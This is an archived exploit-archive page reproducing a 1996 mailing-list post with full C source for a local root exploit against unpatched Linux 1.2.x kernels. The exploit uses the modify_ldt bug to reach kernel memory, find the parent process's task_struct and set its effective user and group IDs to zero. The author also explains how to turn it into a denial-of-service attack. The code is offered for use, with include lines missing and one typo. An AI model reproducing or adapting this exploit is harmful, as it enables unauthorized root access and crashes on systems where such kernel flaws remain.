Linux ldt kernel bug
Description: | see exploit. |
Author: | Marin Purgar - PMC (pmc@asgard.hr) wrote this exploit |
Compromise: | root |
Vulnerable Systems: | Unpatched Linux 1.2.* systems (possibly some 1.3.x) |
Date: | 11 October 1996 |
Exploit:
Subject: Exploit for 1.2.X (maybe some 1.3.X) kernels
From: Marin Purgar - PMC (pmc@asgard.hr)
Date: Fri, 11 Oct 1996 19:32:06 +0100
Well, after seeing so much unpatched 1.2.X creeps around on the net I
decided to post this one. Hope it will speed up 2.0.X installations
around ;)
Basicaly it's a ldt kernel bug wich was (over and over) discussed and
pointed to in linux-kernel mailing list. I think RH has patched this
one in their kernel (never tryed). All *pure* linux-1.2.X.tar.gz
installations are vulnerable.
The source is a modification of Morten Welinder post in linux-kernel
somewehere around march. This one does not need System.map to find
_task structure in kernel data segment. Instead I wrote a SEGV trap
to find where accessable patitions of memory are.
To speed it up I access direct at 0xC000000 (KERNEL_BASE) and step it
with 0x1000 (PAGE_STEP - task_struct-s are usualy at page boundary).
But it can be set up to search the whole memory for matching
task_struct-s.
The parent task_struct match is very loose (I am looking only for euid,
egid and pid of parent task at correct distances. This can be extended
for better match, but I found out that these three are quite enought.
Also note that this one demostrates a memory leak in clib in sigsetjmp
function. If you make enough itterations this one can be converted
into denial of service attack (and posibilly host crash ;). Try with
KERNEL_BASE = 0x00000000 and PAGE_STEP = 1.
The main issue here is that developement of 1.2.X was abandoned after
1.2.13 and all went to 1.3.X. So there were many (now after 2.0.X not
*so* many) vulnerable systems around. I hope taht the same thing
wouldn't happen with 2.0.X after starting 2.1.X developement tree.
HyHo let's go:
pmcs_ex.c:
<=======================================================================>
#include
#include
#include
#include
#include
#define __KERNEL__
#include
_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
#define KERNEL_BASE 0xC0000000
#define PAGE_STEP 0x1000
/* -------------------------------------------------------------------- */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* -------------------------------------------------------------------- */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* -------------------------------------------------------------------- */
sigjmp_buf memgetjmp;
void
memchkseg (int seg, const void *src )
{
if ( sigsetjmp ( memgetjmp, 1 ) == 0 ) {
__farpeek (seg, (unsigned)(src));
}
}
/* -------------------------------------------------------------------- */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* -------------------------------------------------------------------- */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* -------------------------------------------------------------------- */
#define KERNEL_DATA_SEGMENT 7
/* SEGV handling for kernel data segmnet boundary check */
static int iSEGV = 1;
void SEGVHandler ( int iSignal ) {
iSEGV = 1;
siglongjmp ( memgetjmp, 1 );
}
void FillTaskStruct ( char *pcTaskStruct, long lAddress ) {
int iCounter = sizeof ( struct task_struct );
while ( iCounter-- > 0 ) {
*pcTaskStruct++ = __farpeek ( KERNEL_DATA_SEGMENT, lAddress++ );
}
}
static int iMyPPID;
static int iMyUID;
static int iMyGID;
int CheckTaskStruct ( struct task_struct *sTaskStruct ) {
if ( sTaskStruct->pid == iMyPPID &&
sTaskStruct->euid == iMyUID &&
sTaskStruct->egid == iMyGID ) {
return ( 1 );
} else {
return ( 0 );
}
}
int main ( int argc, char **argv ) {
char cMessage[39] = "PMCsExploit! (c) 1996. pmc@asgard.hr\n";
struct modify_ldt_ldt_s sLDTEntry;
struct sigaction sSEGVAction;
long lStartAddress = KERNEL_BASE;
long lCheckAddress = 0x00000000;
long lAreaStart = 0x00000000;
long lAreaEnd = 0x00000000;
long lAreaLength = 0x00000000;
long lTaskAddress = 0x00000000;
int iRunning = 1;
char cOneChar = '\0';
struct task_struct sTaskStruct;
iMyPPID = getppid ();
iMyUID = getuid ();
iMyGID = getgid ();
printf ( cMessage );
printf ( "First let's see if this little joke could be done ?\n" );
sLDTEntry.entry_number = 0;
sLDTEntry.base_addr = 0x00000000;
sLDTEntry.limit = 1;
sLDTEntry.seg_32bit = 1;
sLDTEntry..contents = MODIFY_LDT_CONTENTS_STACK;
sLDTEntry.read_exec_only = 0;
sLDTEntry.limit_in_pages = 0;
sLDTEntry.seg_not_present = 0;
if ( modify_ldt ( 1, &sLDTEntry, sizeof ( sLDTEntry ) ) ) {
printf ( ":(\n" );
return ( -1 );
}
sSEGVAction.sa_handler = SEGVHandler;
sSEGVAction.sa_flags = SA_RESTART;
sigemptyset ( &sSEGVAction.sa_mask );
lCheckAddress = lStartAddress + PAGE_STEP;
while ( lCheckAddress != lStartAddress ) {
iSEGV = 0;
sigaction ( SIGSEGV, &sSEGVAction, NULL );
memchkseg ( KERNEL_DATA_SEGMENT, ( void *) lCheckAddress );
if ( iSEGV ) {
iSEGV = 1;
while ( iSEGV ) {
iSEGV = 0;
sigaction ( SIGSEGV, &sSEGVAction, NULL );
memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
lCheckAddress += PAGE_STEP;
}
} else {
lCheckAddress += PAGE_STEP;
}
lAreaStart = lCheckAddress - PAGE_STEP;
while ( ! iSEGV ) {
memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
lCheckAddress += PAGE_STEP;
}
lAreaEnd = lCheckAddress - PAGE_STEP;
lAreaLength = lAreaEnd - lAreaStart;
if ( lAreaLength < sizeof ( struct task_struct ) ) {
} else {
lTaskAddress = lAreaStart;
while ( lTaskAddress + sizeof ( struct task_struct ) < lAreaEnd ) {
FillTaskStruct ( (char *) &sTaskStruct, lTaskAddress );
if ( CheckTaskStruct ( &sTaskStruct ) ) {
sTaskStruct.euid = 0;
sTaskStruct.egid = 0;
memputseg ( KERNEL_DATA_SEGMENT, (void *) lTaskAddress, (void *) &sTaskStruct, sizeof ( sTaskStruct ) );
printf ( ":)\n" );
exit ( 0 );
}
lTaskAddress += PAGE_STEP;
}
}
}
printf ( ":(\n" );
exit ( -1 );
}
<=======================================================================>
ps. I now my c style is lame, but it works ;)
bb4now,
PMC
--
NuMessiah - The Prophet of the New AEon !
pmc@asgard.hr
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: